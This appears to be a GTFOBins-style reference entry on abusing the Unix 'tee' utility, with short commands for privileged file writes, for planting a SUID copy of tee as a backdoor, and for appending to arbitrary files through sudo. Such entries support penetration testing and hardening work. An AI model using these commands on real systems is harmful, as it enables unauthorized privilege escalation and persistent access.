It can only append data if the destination exists.
It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.
LFILE=file_to_write
echo DATA | ./tee -a "$LFILE"It runs with the SUID bit set and may be exploited to access the file
system, escalate or maintain access with elevated privileges working as a
SUID backdoor. If it is used to run sh -p, omit the -p argument on systems
like Debian that allow the default sh shell to run with SUID privileges.
sudo sh -c 'cp $(which tee) .; chmod +s ./tee'
LFILE=file_to_write
echo DATA | ./tee -a "$LFILE"It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on sudo.
LFILE=file_to_write
echo DATA | sudo tee -a "$LFILE"